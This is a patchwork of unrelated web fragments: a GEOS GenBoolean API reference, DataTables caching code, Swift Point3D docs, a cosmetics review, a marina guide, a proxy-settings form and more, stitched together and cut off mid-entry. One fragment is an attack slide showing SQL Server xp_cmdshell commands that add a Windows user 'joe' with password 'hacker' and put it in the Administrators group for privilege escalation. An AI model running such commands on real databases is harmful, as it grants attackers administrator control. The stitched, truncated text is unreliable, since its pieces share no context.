Both the BooleanGroups and the Booleans themselves may be dynamically changed to alter the behavior of the list objects.
MSG_GEN_BOOLEAN_GET_IDENTIFIER, MSG_GEN_BOOLEAN_SET_IDENTIFIER
Each GenBoolean object contains an instance field to store the identifier of that object. It is this identifier that the parent GenBooleanGroup object uses when referring to individual GenBoolean items. You may change these identifiers dynamically if you wish.
To get a Boolean's identifier, send it
MSG_GEN_BOOLEAN_GET_IDENTIFIER
. To change a GenBoolean's identifier, send the object a
MSG_GEN_BOOLEAN_SET_IDENTIFIER
, passing the new identifier. You can send the GenBoolean object this message at any time, though sending it while the item is still GS_USABLE would be unusual.
word MSG_GEN_BOOLEAN_GET_IDENTIFIER();
This message returns the identifier for the GenBoolean item.
Source: Unrestricted.
Destination: Any GenBoolean object.
Parameters: None.
Return: Identifier stored in the object's
GBI_identifier
instance field.
Interception: Generally not intercepted.
void MSG_GEN_BOOLEAN_SET_IDENTIFIER( word identifier);
This message sets a new identifier for a GenBoolean object. No change is made to the GenBooleanGroup object. You must make sure that you are not referencing the GenBoolean with its old identifier before sending this message.
Source: Unrestricted.
Destination: Any GenBoolean object.
Parameters: identifier A word representing the constant of the new identifier. This should be a mask representing a bit within a 16-bit record.
Return: Nothing.
Interception: Generally not intercepted.
Warnings: The GenBooleanGroup must not be referring to the object when the GenBoolean receives this message. You should also not refer to the GenBoolean by its old identifier from then on.
You may alter the state of a GenBooleanGroup's children in two ways: First, you can set the entire group's state by setting the 16-bit records in the GenBooleanGroup's instance data. Second, you may set individual bits representing an item's state individually.
MSG_GEN_BOOLEAN_GROUP_GET_SELECTED_BOOLEANS, MSG_GEN_BOOLEAN_GROUP_SET_GROUP_STATE, MSG_GEN_BOOLEAN_GROUP_GET_INDETERMINATE_BOOLEANS, MSG_GEN_BOOLEAN_GROUP_SET_GROUP_INDETERMINATE_STATE, MSG_GEN_BOOLEAN_GROUP_GET_MODIFIED_BOOLEANS, MSG_GEN_BOOLEAN_GROUP_SET_GROUP_MODIFIED_STATE
To retrieve the contents of the GBGI_
selectedBooleans
instance field, send the BooleanGroup a
MSG_GEN_BOOLEAN_GROUP_GET_SELECTED_BOOLEANS
. This message returns a 16-bit record. You can set the selection state of a BooleanGroup's children by sending the group a
MSG_GEN_BOOLEAN_GROUP_SET_GROUP_STATE
.
To retrieve the contents of the GBGI_
indeterminateBooleans
instance field, use
MSG_GEN_BOOLEAN_GROUP_GET_INDETERMINATE_BOOLEANS
. This message returns a 16-bit record. You can set the indeterminate state with
MSG_GEN_BOOLEAN_GROUP_SET_GROUP_INDETERMINATE_STATE
.
To retrieve the contents of the GBGI_
modifiedBooleans
instance field, use
MSG_GEN_BOOLEAN_GROUP_GET_MODIFIED_BOOLEANS
. This message returns a16-bit record. You can set the selection state of a BooleanGroup's children by sending the group a
MSG_GEN_BOOLEAN_GROUP_SET_GROUP_MODIFIED_STATE
.
word MSG_GEN_BOOLEAN_GROUP_GET_SELECTED_BOOLEANS();
This message returns the current state of all GenBooleans in a GenBooleanGroup (selected or unselected) by returning the contents of the GBGI_
selectedBooleans
instance field.
Source: Unrestricted.
Destination: Any GenBooleanGroup object.
Parameters: None.
Return: A record indicating the GenBooleans selected.
Interception: Generally not intercepted.
void MSG_GEN_BOOLEAN_GROUP_SET_GROUP_STATE( word selectedBooleans, word indeterminateBooleans);
This message sets new selections and indeterminate states for a GenBooleanGroup (altering the contents of the GBGI_
selectedBooleans
and GBGI_
indeterminateBooleans
instance field). You should pass the records indicating the GenBooleans to select and/or mark indeterminate. Any GenBooleans which are not set will be cleared.
Source: Unrestricted.
Destination: Any GenBooleanGroup object.
Parameters: selectedBooleans The GenBooleans which should be selected.
Return: Nothing.
Interception: Generally not intercepted.
word MSG_GEN_BOOLEAN_GROUP_GET_INDETERMINATE_BOOLEANS();
This message returns the indeterminate items of a GenBooleanGroup by returning the contents of the GBDI_
indeterminateBooleans
instance field.
Source: Unrestricted.
Destination: Any GenBooleanGroup object.
Parameters: None.
Return: A record indicating the current indeterminate booleans, represented by the OR-ed sum of their identifiers.
Interception: Generally not intercepted.
word MSG_GEN_BOOLEAN_GROUP_GET_MODIFIED_BOOLEANS();
This message returns selections marked modified within a GenBooleanGroup since the last apply (by returning the contents of the GBGI_
modifiedBooleans
instance field).
Source: Unrestricted.
Destination: Any GenBooleanGroup object.
Parameters: None.
Return: The current modified Booleans.
Interception: Generally not intercepted.
void MSG_GEN_BOOLEAN_GROUP_SET_GROUP_MODIFIED_STATE( word setBooleans, word clearBooleans);
GenBooleans are normally marked modified any time their state is altered, and they are marked not modified after these changes have been applied. You may also mark GenBooleans modified (or mark them nor modified) with this message. You should pass this message both the GenBooleans to set and the GenBooleans to clear (in the GBGI
_modifiedBooleans
instance field).
Source: Unrestricted.
Destination: Any GenBooleanGroup object.
Parameters:
setBooleans
A record indicating the GenBooleans to be set modified in GBGI_
modifiedBooleans
.
modifiedBooleans
.Return: Nothing.
Interception: Generally not intercepted.
MSG_GEN_BOOLEAN_GROUP_GET_BOOLEAN_OPTR, MSG_GEN_BOOLEAN_GROUP_IS_BOOLEAN_SELECTED, MSG_GEN_BOOLEAN_GROUP_SET_BOOLEAN_STATE, MSG_GEN_BOOLEAN_GROUP_IS_BOOLEAN_INDETERMINATE, MSG_GEN_BOOLEAN_GROUP_SET_BOOLEAN_INDETERMINATE_STATE, MSG_GEN_BOOLEAN_GROUP_IS_BOOLEAN_MODIFIED, MSG_GEN_BOOLEAN_GROUP_SET_BOOLEAN_MODIFIED_STATE
You can retrieve the optr of a particular GenBoolean object by sending the BooleanGroup
MSG_GEN_BOOLEAN_GROUP_GET_ITEM_OPTR
, passing it the identifier of the boolean in question. You can then use that optr to directly communicate with the object for purposes such as enabling/disabling, setting not usable, etc.
To check on whether a GenBoolean is currently selected, send the BooleanGroup
MSG_GEN_BOOLEAN_GROUP_IS_BOOLEAN_SELECTED
, passing it the identifier to check. To set the selection state of a Boolean, send the BooleanGroup
MSG_GEN_BOOLEAN_GROUP_SET_BOOLEAN_STATE
, passing it the identifier and the selection state (on or off).
To check on the indeterminate state of a GenBoolean, send the BooleanGroup
MSG_GEN_BOOLEAN_GROUP_IS_BOOLEAN_INDETERMINATE
, passing the identifier to check. To set the indeterminate state of a Boolean, send
MSG_GEN_BOOLEAN_GROUP_SET_BOOLEAN_INDETERMINATE_STATE
, passing it the identifier and the indeterminate state to set the Boolean to.
To check on the modified state of a GenBoolean, send the BooleanGroup
MSG_GEN_BOOLEAN_GROUP_IS_BOOLEAN_MODIFIED
, passing the identifier to check. To set the modified state of a Boolean, send
MSG_GEN_BOOLEAN_GROUP_SET_BOOLEAN_MODIFIED_STATE
, passing it the identifier and the modified state.
optr MSG_GEN_BOOLEAN_GROUP_GET_BOOLEAN_OPTR( word identifier);
This message returns the optr of the requested GenBoolean. You may then use this optr to alter that Boolean's state individually. If the GenBoolean with the matching identifier is not found, a null optr will be returned.
Source: Unrestricted.
Destination: Any GenBooleanGroup object.
Parameters: identifier The identifier of the GenBoolean to look for.
Return: The optr of the requested GenBoolean object (or a null optr if none is found).
Interception: Generally not intercepted.
Boolean MSG_GEN_BOOLEAN_GROUP_IS_BOOLEAN_SELECTED( word identifier);
This message checks whether the GenBoolean with the passed identifier is selected.
Source: Unrestricted.
Destination: Any GenBooleanGroup object
Parameters: identifier The identifier of the GenBoolean to check.
Return: Will return
true
if GenBoolean is selected,
false
if GenBoolean is unselected.
Interception: Generally not intercepted.
void MSG_GEN_BOOLEAN_GROUP_SET_BOOLEAN_STATE( word identifier, Boolean state);
This message sets an individual GenBoolean's selection state, leaving other GenBooleans unaffected. You may alter the selection state of individual GenBooleans even if they are not usable, not enabled, or not even within the BooleanGroup. (This is useful for linked BooleanGroups.)
Source: Unrestricted.
Destination: Any GenBooleanGroup.
Parameters: identifier The identifier of the GenBoolean.
Return: Nothing.
Interception: Generally not intercepted.
Boolean MSG_GEN_BOOLEAN_GROUP_IS_BOOLEAN_INDETERMINATE( word identifier);
This message checks whether the GenBoolean with the passed identifier is indeterminate (by examining the GBDI_
indeterminateBooleans
instance field).
Source: Unrestricted.
Destination: Any GenBooleanGroup object.
Parameters: identifier The identifier of the GenBoolean to check.
Return: Will return
true
if the GenBoolean is indeterminate,
false
if is not.
Interception: Generally not intercepted.
void MSG_GEN_BOOLEAN_GROUP_SET_BOOLEAN_INDETERMINATE_STATE( word identifier, Boolean indeterminateState);
This message sets the indeterminate state of an individual GenBoolean without affecting any other GenBooleans. You may mark GenBooleans indeterminate even if they are not usable, not enabled, or not even present within the BooleanGroup.
Source: Unrestricted.
Destination: Any GenBooleanGroup object.
Parameters: identifier The identifier of the GenBoolean.
Return: Nothing.
Interception: Generally not intercepted.
Boolean MSG_GEN_BOOLEAN_GROUP_IS_BOOLEAN_MODIFIED( word identifier);
This message checks whether the GenBoolean with the passed identifier has been modified (by examining the GBGI_
modifiedBooleans
instance field).
Source: Unrestricted.
Destination: Any GenBooleanGroup object.
Parameters: identifier The identifier of the GenBoolean to check.
Return: Will return
true
if boolean has been modified,
false
if it has not.
Interception: Generally not intercepted.
void MSG_GEN_BOOLEAN_GROUP_SET_BOOLEAN_MODIFIED_STATE( word identifier, Boolean modifiedState);
This message sets the modified state of an individual GenBoolean without affecting any other GenBooleans. You may mark GenBooleans modified even if they are not usable, not enabled, or not even present within the BooleanGroup.
Source: Unrestricted.
Destination: Any GenBooleanGroup object.
Parameters: identifier The identifier of the GenBoolean.
Return: Nothing.
Interception: Generally not intercepted.
MSG_GEN_BOOLEAN_GROUP_GET_DESTINATION, MSG_GEN_BOOLEAN_GROUP_SET_DESTINATION, MSG_GEN_BOOLEAN_GROUP_GET_APPLY_MSG, MSG_GEN_BOOLEAN_GROUP_SET_APPLY_MSG
To retrieve the GenBooleanGroup's destination stored in its GBGI_
destination
instance field or the message stored in its GBGI_
applyMsg
instance field, use
MSG_GEN_BOOLEAN_GROUP_GET_DESTINATION
or
MSG_GEN_BOOLEAN_GROUP_GET_APPLY_MSG
.
To set the GenBooleanGroup's destination to an object or process, send the list a
MSG_GEN_BOOLEAN_GROUP_SET_DESTINATION
, passing it the optr of the new destination. This object will thereafter handle all apply actions sent by the GenBooleanGroup.
To set the GenBooleanGroup's apply action to a new message, send the list a
MSG_GEN_BOOLEAN_GROUP_SET_APPLY_MSG
, passing it the message to use.
optr MSG_GEN_BOOLEAN_GROUP_GET_DESTINATION();
This message returns the current destination object for the BooleanGroup, as specified in the GBGI_
destination
instance field.
Source: Unrestricted.
Destination: Any GenBooleanGroup object.
Parameters: None.
Return: The optr of the current destination object.
Interception: Generally not intercepted.
void MSG_GEN_BOOLEAN_GROUP_SET_DESTINATION( optr dest);
This message sets a new destination object for a BooleanGroup. The apply and status messages of this BooleanGroup will be sent to this new destination.
Source: Unrestricted.
Destination: Any GenBooleanGroup.
Parameters:
dest
The optr of the new destination object; this will be put into GBGI_
destination
.
Return: Nothing.
Interception: Generally not intercepted.
Message MSG_GEN_BOOLEAN_GROUP_GET_APPLY_MSG();
This message returns the current apply action in the GenBooleanGroup's GBGI_
applyMsg
instance field.
Source: Unrestricted.
Destination: Any GenBooleanGroup.
Parameters: None.
Return: The current apply message.
Interception: Generally not intercepted.
void MSG_GEN_BOOLEAN_GROUP_SET_APPLY_MSG( Message message);
This message sets a new apply message in the GenBooleanGroup's GBGI_
applyMsg
instance field.
Source: Unrestricted.
Destination: Any GenBooleanGroup object.
Parameters: message The new apply message.
Return: Nothing.
Return: Generally not intercepted.


We request that you sign in (it is optional).
If you do:
We will use your data to count the number of people who come and visit us. We also track who is in the building as part of our fire and safety procedures.
We will not use your data for anything else without your explicit opt-in.
I hope you enjoy your visit.
Gavin Starks
CEO


This survey is reading data from JSON format and can be used for simple surveys with one answer. It also adopted to be useful on mobile screens.
Have suggestions how to improve HTML markup or found bug? Create Pull Request or issue in our gitlab


Custom boards
Create dynamic boards based on any information you'd like
Delivering the right information at the right time in a lovely package for you and your team
Ideas are born, prioritized, analyzed, designed, implemented and shipped. Perspective lets you follow them from start to finish in views (perspectives) that's tailored for each stakeholder and process ceremonies
Get a new perspective on your process by aggregating information from Jira, Jenkins, dev servers and more
Software development tools are often made for developers only. We're also designing for testers, designers, leaders and all stakeholders on a team
Perspective is open-source, free to use and modify
So simple, it makes JIRA jealous
Create dynamic boards based on any information you'd like
Tasks are extensible. Add build information, documentation, tests script and everyting you and your team need
Want to show which server a task is deployed on? Its last sucessful build? No problem, just pull in information from other perspective modules and external systems
Because you like to follow your feature from feature branches, to continous integration and deployment
Establish a naming convention and get your feature branches rendered as
trees. In the image above we've used iphone-app_login_from-github
and
iphone-app_login_password
With perspective-jenkins you get color coding on your feature branches. And a even a hammer when it builds!
Push or pull information from your development servers into the build screen. Show notifications when new builds or deploys start.


{% extends "admin/base.html" %} {% block stylesheets %} {% endblock %} {% block content %}
This is the URL route that your page will be at (e.g. /page)
This is the HTML content of your page


Privilege escalation with xp_cmdshell stored procedure
Executes a command as an operating system command shell and returns the output
EXEC master.dbo.xp_cmdshell ‘dir c:\*.*’
Same as doing a “dir” at the DOS prompt!!!
Executes a native operating system common on the host system
The possibilities are endless…
Privilege escalation with xp_cmdshell stored procedure
Adding a Windows account “joe” with a password of “hacker”
Xp_cmdshell ‘net user <username> <password> /ADD’
Xp_cmdshell ‘net user joe hacker /ADD’
Adding a “joe” to the administrators group!
Xp_cmdshell ‘net localgroup /ADD Administrators <username>’
Xp_cmdshell ‘net localgroup /ADD Administrators joe’


In The Spotlight
Conference Publications, Journals, and Manuscripts
Here is a link to Bryan's Google Scholar profile page.
Google Scholar Profile
QwikEyes In The News
QwikEyes has been featured in several media outlets over the years and here are a few we are most proud of.
QwikEyes in the news
Bryan attended the 2014 Clinton Global Initiative to represent QwikEyes as an invited participant. Prior to the conference 20 student ventures were invited to host an exhibit during the exhibition dinner where QwikEyes was presented to thousands of individuals including former president Clinton, his family, and media outlets. During the conference a live video recorded interview was conducted on Bryan regarding QwikEyes and what benefits the service has to its market.
QwikEyes at CGIU
In addition to the Clinton Global Initiative QwikEyes was competitively selected to receive $6,000 in seed funding, mentorship, and other resources to assist in the startup of the business.
How did QwikEyes start
In December of 2013 Qwik Eyes was adopted in to the Mesa Arizona Launch Point accelerator where the business was given office space, business resources such as a business phone number, mailing address, access to a conference room for meetings, and 50 hours of professional consulting to assist in different areas of the business development.
QwikEyes adopted into Mesa LaunchPoint
In July Qwik Eyes was invited to present the company and service during an Assistive Technology conference. The event is to discuss new assistive technology and services that are geared to help the blind and low vision. In attendance will be state of Arizona Vocational Rehabilitation counselors as well as blind individuals which are the direct market of Qwik Eyes.


This page contains all the Matlab files used in the project as referenced in the document
| File Name | Description | Section Referenced |
|---|---|---|
| calibrateAll.m | Used in an attempt to accurately calibrat real and synthetic RIRs | Implementation: Odeon |
| renameSortFiles.m | Extracts and sorts the RIR files to produce 4 new RIR grids | Implementation: Odeon |
| RIRtrim.m | Trims RIR files. Used to correct error caused by system latency | Software:Max |
| deconvolve.m | Deconvolved captured sinusoidal sweep (Adapted from University of York Msc Music Technology Webpage) | Implementation: Real RIR Measurements |
| generatesweep.m | Produces a sinusoidal sweep for RIR recording (Adapted from University of York Msc Music Technology Webpage) | Implementation: Real RIR Measurements |


Chioggia is a long narrow island, forming part of the chain of shallows and islands separating the Venitian lagoon from the Adriatic itself. It is a popular tourist destination.
Position 45°13.4'N, 12°17.7'E.
The channel to the marinaa and public berths from the southern entrance into the Venitian lagoon, is marked.
The main options for berthing here is in Canaletta Morin (Sporting Club Marina di Chioggia) or in Darsena Mosella at Sotomarina.
Shelter is good in most berths.
Last updated March 2010.


Sever-side processing can be quite hard on your server, since it makes an Ajax call to the server for every draw request that is made. On sites with a large number of page views, you could potentially end up DDoSing your own server with your own applications!
This example shows one technique to reduce the number of Ajax calls
that are made to the server by caching more data than is needed for
each draw. This is done by intercepting the Ajax call and routing
it through a data cache control; using the data from the cache if
available, and making the Ajax request if not. This intercept of
the Ajax request is performed by giving the
ajaxDT
option as a function. This function then performs the logic of
deciding if another Ajax call is needed, or if data from the cache
can be used.
Keep in mind that this caching is for paging only; the pipeline must be cleared for other interactions such as ordering and searching since the full data set, when using server-side processing, is only available at the server.
| Name | Position | Office | Extn. | Start date | Salary |
|---|---|---|---|---|---|
| Name | Position | Office | Extn. | Start date | Salary |
The Javascript shown below is used to initialise the table shown in this example:
// // Pipelining function
for DataTables. To be used to the `ajax` option of DataTables //
$.fn.dataTable.pipeline = function ( opts ) { // Configuration
options var conf = $.extend( { pages: 5, // number of pages to
cache url: '', // script url data: null, // function or object
with parameters to send to the server // matching how `ajax.data`
works in DataTables method: 'GET' // Ajax HTTP method }, opts );
// Private variables for storing the cache var cacheLower = -1;
var cacheUpper = null; var cacheLastRequest = null; var
cacheLastJson = null; return function ( request, drawCallback,
settings ) { var ajax = false; var requestStart = request.start;
var requestLength = request.length; var requestEnd = requestStart
+ requestLength; if ( settings.clearCache ) { // API requested
that the cache be cleared ajax = true; settings.clearCache =
false; } else if ( cacheLower < 0 || requestStart <
cacheLower || requestEnd > cacheUpper ) { // outside cached
data - need to make a request ajax = true; } else if (
JSON.stringify( request.order ) !== JSON.stringify(
cacheLastRequest.order ) || JSON.stringify( request.columns ) !==
JSON.stringify( cacheLastRequest.columns ) || JSON.stringify(
request.search ) !== JSON.stringify( cacheLastRequest.search ) ) {
// properties changed (ordering, columns, searching) ajax = true;
} // Store the request for checking next time around
cacheLastRequest = $.extend( true, {}, request ); if ( ajax ) { //
Need data from the server if ( requestStart < cacheLower ) {
requestStart = requestStart - (requestLength*(conf.pages-1)); if (
requestStart < 0 ) { requestStart = 0; } } cacheLower =
requestStart; cacheUpper = requestStart + (requestLength *
conf.pages); request.start = requestStart; request.length =
requestLength*conf.pages; // Provide the same `data` options as
DataTables. if ( $.isFunction ( conf.data ) ) { // As a function
it is executed with the data object as an arg // for manipulation.
If an object is returned, it is used as the // data object to
submit var d = conf.data( request ); if ( d ) { $.extend( request,
d ); } } else if ( $.isPlainObject( conf.data ) ) { // As an
object, the data given extends the default $.extend( request,
conf.data ); } settings.jqXHR = $.ajax( { "type":
conf.method, "url": conf.url, "data": request,
"dataType": "json", "cache": false,
"success": function ( json ) { cacheLastJson =
$.extend(true, {}, json); if ( cacheLower != requestStart ) {
json.data.splice( 0, requestStart-cacheLower ); }
json.data.splice( requestLength, json.data.length ); drawCallback(
json ); } } ); } else { json = $.extend( true, {}, cacheLastJson
); json.draw = request.draw; // Update the echo for each response
json.data.splice( 0, requestStart-cacheLower ); json.data.splice(
requestLength, json.data.length ); drawCallback(json); } } }; //
Register an API method that will empty the pipelined data, forcing
an Ajax // fetch on the next draw (i.e.
`table.clearPipeline().draw()`) $.fn.dataTable.Api.register(
'clearPipeline()', function () { return this.iterator( 'table',
function ( settings ) { settings.clearCache = true; } ); } ); //
// DataTables initialisation // $(document).ready(function() {
$('#example').dataTable( { "processing": true,
"serverSide": true, "ajax":
$.fn.dataTable.pipeline( { url: 'scripts/server_processing.php',
pages: 5 // number of pages to cache } ) } ); } );
In addition to the above code, the following Javascript library files are loaded for use in this example:
The HTML shown below is the raw HTML table element, before it has been enhanced by DataTables:
This example uses a little bit of additional CSS beyond what is loaded from the library files (below), in order to correctly display the table. The additional CSS used is shown below:
The following CSS library files are loaded for use in this example to provide the styling of the table:
This table loads data by Ajax. The latest data that has been loaded is shown below. This data will update automatically as any additional data is loaded.
The script used to perform the server-side processing for this table is shown below. Please note that this is just an example script using PHP. Server-side processing scripts can be written in any language, using the protocol described in the DataTables documentation.


This fire danger forecasting system was built by the Wildland Fire Group at the Department of Mathematical and Statistical Sciences at the University of Colorado Denver.
Sher Schranz is the PI of the project. She is a NOAA affiliate and also the Associate Director of the Colorado State University Cooperative Institute for Research in the Atmosphere (recipient of the NASA ROSES grant). Sher leads the development of the FX Net platform which will be ultimately used to disseminate the fire spread forecasts.
Jan Mandel is a Full Professor at the University of Colorado in Denver and the team leader of the Wildland Fire Group. His main focus in the project is the development of the WRF-SFIRE code and data assimilation of satellite fire observations to guide fire spread forecasting.
Adam K. Kochanski is an Associate Professor in the Department of Atmospheric Sciences at the University of Utah. His main focus in the project is developing and contributing know-how on how to use WRF-SFIRE to forecast fires accurately.
Martin Vejmelka is a Researcher at the Institute of Computer Science at the Czech Academy of Sciences. His main focus in the project is the development of data assimilation algorithms, recently to assimilate ground fuel moisture observations into a fuel moisture model and to build infrastructure to automatically harness the power of WRF-SFIRE and serve the results over the web.
Funding from NASA ROSES A.35 11-FIRES11 phase I is gratefully acknowledged.


Couple of Quick Videos
Posted: Tue Jul 07, 2009 12:42 pm
Game Development and More
http://unseenstudios.com/community/
http://unseenstudios.com/community/viewtopic.php?f=25&t=2033
Joe M. wrote:Chaos. We're working on the visualization.
Fearon wrote:It's lookin' really good Karl, keep up the good work. Ready to test it anytime. :-p


Check back here for some links to the1998 Rules and an overview of past contests.
Send comments to the Web Guy.


The FAQs module enables authorized users to manage a list of questions and corresponding answers. The question is displayed as a link, requiring the user to click on a question to view the corresponding answer. FAQ's can be assigned to categories and authorized users can set the default sorting order. The layout is managed using editing templates allowing you to choose the fields to be displayed on the module (question, answer, first and last name of the user who last updated the question, number of times viewed, category name, category description, date created, date modified and the question number).
Installation Note: This module must be deployed and installed on your site by a SuperUser.
Module Version: 05.01.00 / Minimum DNN Version: 06.01.00
Features: IPortable, ISearchable
The FAQs Modules


action-sheet/basic
alert/basic
alert/dismiss
app/animations
app/cordova
app/gesture-collision
app/gestures
app/storage
app/typography
badge/basic
button/basic
button/block
button/clear
button/dynamic
button/fab
button/full
button/icons
button/outline
button/raised
button/round
button/sizes
card/advanced
card/basic
card/images
card/list
card/map
card/social
checkbox/basic
chip/basic
chip/delete
chip/icon
chip/image
content/basic
content/fullscreen
datetime/basic
datetime/labels
grid/alignment
grid/basic
grid/full
icon/basic
infinite-scroll/basic
infinite-scroll/short-list
input/clear-input
input/fixed-inline-labels
input/floating-labels
input/form-inputs
input/highlight
input/inline-labels
input/input-focus
input/inset-inputs
input/placeholder-labels
input/stacked-labels
item/buttons
item/dividers
item/groups
item/icons
item/images
item/media
item/reorder
item/sliding
item/text
list/header-scenarios
list/headers
list/inset
list/no-lines
list/repeat-headers
list/sticky
loading/basic
loading/tabs
menu/basic
menu/disable-swipe
menu/enable-disable
menu/multiple
menu/overlay
menu/push
menu/reveal
modal/basic
nav/basic
nav/child-navs
nav/init-async
nav/insert-views
nav/memory
nav/nested
picker/basic
popover/basic
radio/basic
range/basic
refresher/basic
scroll/basic
searchbar/basic
searchbar/nav
searchbar/toolbar
segment/basic
segment/nav
segment/swipe
select/multiple-value
select/single-value
show-hide-when/basic
slides/basic
slides/controller
slides/intro
slides/loop
slides/scroll
spinner/basic
tabs/advanced
tabs/badges
tabs/basic
tabs/child-navs
tabs/colors
tabs/ghost
tabs/tab-bar-scenarios
toast/basic
toggle/basic
toolbar/colors
toolbar/scenarios
virtual-scroll/basic
virtual-scroll/cards
virtual-scroll/image-gallery
virtual-scroll/sliding-item
virtual-scroll/variable-size


Stick Headers and Footers
Yesterday I wanted to enable syntax highlighting for my blog posts. I ended up with highlight.js. This is a very complete syntax highlighting library that worked out of the box with my current setup.
One thing that stood out while I worked on it was that footer runs through the text and does not stick to the bottom as intended. Today I will make the header and the footer sticky.


Small Lights
LOG IN
SIGN IN
Carneige Mellon University
A wonderful place!
OK
Cancel
Click here to back to home page!
A wonderful place!


<EMAIL_ADDRESS>+91 88608 04762
Spearheading Business Excellence
We are a Digital Marketing Agency that brings you near to your potential customers.
Get in Touch


Basic pivot grid.
You can read more about configuring the igx-pivot-grid component in the official documentation.


See: Description
| Class | Description |
|---|---|
| AssertNoExternalCallsVisitor |
Visitor to check that there are no external calls.
|
| BuildAllDependeesMapVisitor |
Visitor for building a map from each node to its list of dependees (ordered by nearest dependee
first).
|
| CheckCallingParamTypesVisitor |
Visitor for checking that calling arguments match the declared parameter types
of the called template.
|
| CheckSoyDocVisitor |
Visitor for checking that in each template, the parameters declared in the SoyDoc match the data
keys referenced in the template.
|
| ClearSoyDocStringsVisitor |
Visitor for removing SoyDoc strings from
TemplateNode s (saves memory when they're not
needed). |
| CombineConsecutiveRawTextNodesVisitor |
Visitor for combining any consecutive sequences of
RawTextNode s into one equivalent
RawTextNode . |
| FindIjParamsVisitor |
Visitor for finding the injected params used by a given template.
|
| FindIjParamsVisitor.IjParamsInfo |
Return value for
FindIjParamsVisitor . |
| FindIndirectParamsVisitor |
Visitor for finding the indirect params of a given template.
|
| FindIndirectParamsVisitor.IndirectParamsInfo |
Return value for
FindIndirectParamsVisitor . |
| FindTransitiveDepTemplatesVisitor |
Visitor for finding the set of templates transitively called by a given template.
|
| FindTransitiveDepTemplatesVisitor.TransitiveDepTemplatesInfo |
Return value for
FindTransitiveDepTemplatesVisitor . |
| IsUsingIjDataVisitor |
Visitor for determining whether any code in a Soy tree uses injected data.
|
| MarkLocalVarDataRefsVisitor |
Visitor to determine and mark which VarRefNodes are actually local var data refs.
|
| RemoveHtmlCommentsVisitor |
Visitor for removing HTML comments from raw text.
|
| RenameCssVisitor |
Visitor for renaming CSS selector text in a Soy parse tree.
|
| ReportSyntaxVersionErrorsVisitor |
Visitor for asserting that all the nodes in a parse tree or subtree conform to the user-declared
syntax version.
|
| ResolveExpressionTypesVisitor |
Visitor which resolves all expression types.
|
| ResolveNamesVisitor |
Visitor which resolves all variable and parameter references to point to
the corresponding declaration object.
|
| ResolveNamesVisitor.Scope |
Represents a naming scope in which variables are defined.
|
| SharedPassesModule |
Guice module for shared passes.
|
| ShouldEnsureDataIsDefinedVisitor |
Visitor for determining whether a template needs to ensure that its data is defined.
|
| SubstituteGlobalsVisitor |
Visitor for substituting values of compile-time globals and/or for checking that all globals are
defined by the compile-time globals map.
|
| UnmarkLocalVarDataRefsVisitor |
Visitor to unmark all VarRefNodes regarding whether they are actually local var data refs.
|


Sub Total:
{{CurrentAdmission.BillingTransaction.SubTotal}}
Total
Amount: {{CurrentAdmission.BillingTransaction.TotalAmount}}
Payment Mode
{{coreService.currencyUnit}}
{{CurrentDeposit.DepositBalance}} 0"> ( In words:
{{CurrentDeposit.DepositBalance | NumberInWords}} only ) 0"> This OutPatient
Deposit will be transfered to InPatient Deposit.
0"> ( In
words: {{CurrentDeposit.Amount | NumberInWords}} only )


Warehouse Keeper Collob:
You got one right! Now try again.
What is the color of the first coin?
Gold
Silver
Blood


--- layout: post title: LUSH Aqua Marina Cleanser tags: - Lush status: publish type: post published: true meta: _edit_last: '2' wp_plus_one_redirect: '' _aioseop_title: LUSH Aqua Marina Cleanser review wp_plus_one_disabled: '1' _aioseop_keywords: LUSH Aqua Marina Cleanser review _yoast_wpseo_linkdex: '0' _thumbnail_id: '4146' _yoast_wpseo_focuskw: '' _yoast_wpseo_title: '' _yoast_wpseo_metadesc: '' _yoast_wpseo_metakeywords: '' _yoast_wpseo_meta-robots-noindex: '0' _yoast_wpseo_meta-robots-nofollow: '0' _yoast_wpseo_meta-robots-adv: none _yoast_wpseo_sitemap-include: ! '-' _yoast_wpseo_sitemap-prio: ! '-' _yoast_wpseo_canonical: '' _yoast_wpseo_redirect: '' ---
Aquatic life scares me, I remember my first snorkeling experience, even though spectacular but scared the hell out of me. Every fish advancing towards me gave me shivers. Haven't changed much since then, I can still snorkel but in panic mode.
When it comes to Sea weeds, they look really creepy too, but I have eaten them, oh yeah when a vegetarian travels to South Korea thats how you survive. It has a faint pungent smell and almost tasteless.
Coming to LUSH Aqua Marine it reminded me of my LactoCalmine lotion, both by looks and texture, with pieces of Sea weed. Its the most gentle cleanser I have ever used, almost like Cetaphil, removes dirt and does not dry out.
Price: Rs.585 for 100gmClaims: Made using the soothing pink extract to reduce redness and inflammation in sensitive skin. Those who have a tendency to react to citrus or strong herbal oils will find salvation in Aqua Marina’s gentle aloe vera and moisturizing nori seaweed. Especially cooling on sun burnt faces, Aqua Marina is perfect for normal to dry skin types.
Your cleanser will remain fresh for up to three months.


Please fill in the blanks and click Save.
Server IP
Server Port
Password
Local Port
Encryption Method
Table (Default)
AES-256-CFB
AES-192-CFB
AES-128-CFB
BF-CFB (Blowfish)
CAMELLIA-256-CFB
CAMELLIA-192-CFB
CAMELLIA-128-CFB
CAST5-cfb
DES-CFB
IDEA-CFB
RC2-CFB
RC4
SEED-CFB
Timeout in Second
Save
Show Console


Point3D
public struct Point3D : Hashable
Simple representation of a position in space by the use of three orthogonal coordinates.
-
Threshhold of separation for equality checks
Declaration
Swift
public static let Epsilon: Double
-
The simplest and only initializer. Required for a struct.
Declaration
Swift
public init(x: Double, y: Double, z: Double)
-
Generate the unique value using Swift 4.2 tools Is a required func for a subclass of Hashable
Declaration
Swift
public func hash(into hasher: inout Hasher)
-
Create a new point by offsetting
See
‘testOffset’ under Point3DTestsSee also
transformDeclaration
Swift
public static func offset(pip: Point3D, jump: Vector3D) -> Point3D
Parameters
pip
Point to be used as origin
jump
Vector to be used as the offset
Return Value
A new Point that has been offset.
-
Calculate the distance between two of ‘em
See
'testDist’ under Point3DTestsDeclaration
Swift
public static func dist(pt1: Point3D, pt2: Point3D) -> Double
Parameters
pt1
One point
pt2
Another point
-
Check if three points are not duplicate. Useful for building triangles, or defining arcs
See
‘testIsThreeUnique’ under Point3DTestsDeclaration
Swift
public static func isThreeUnique(alpha: Point3D, beta: Point3D, gamma: Point3D) -> Bool
Parameters
alpha
A test point
beta
Another test point
gamma
The final test point
-
See if three points are all in a line ‘isThreeUnique’ should pass before running this
See
‘testIsThreeLinear’ under Point3DTestsDeclaration
Swift
public static func isThreeLinear(alpha: Point3D, beta: Point3D, gamma: Point3D) -> Bool
Parameters
alpha
A test point
beta
Another test point
gamma
The final test point
-
Check if all contained points are unique.
Declaration
Swift
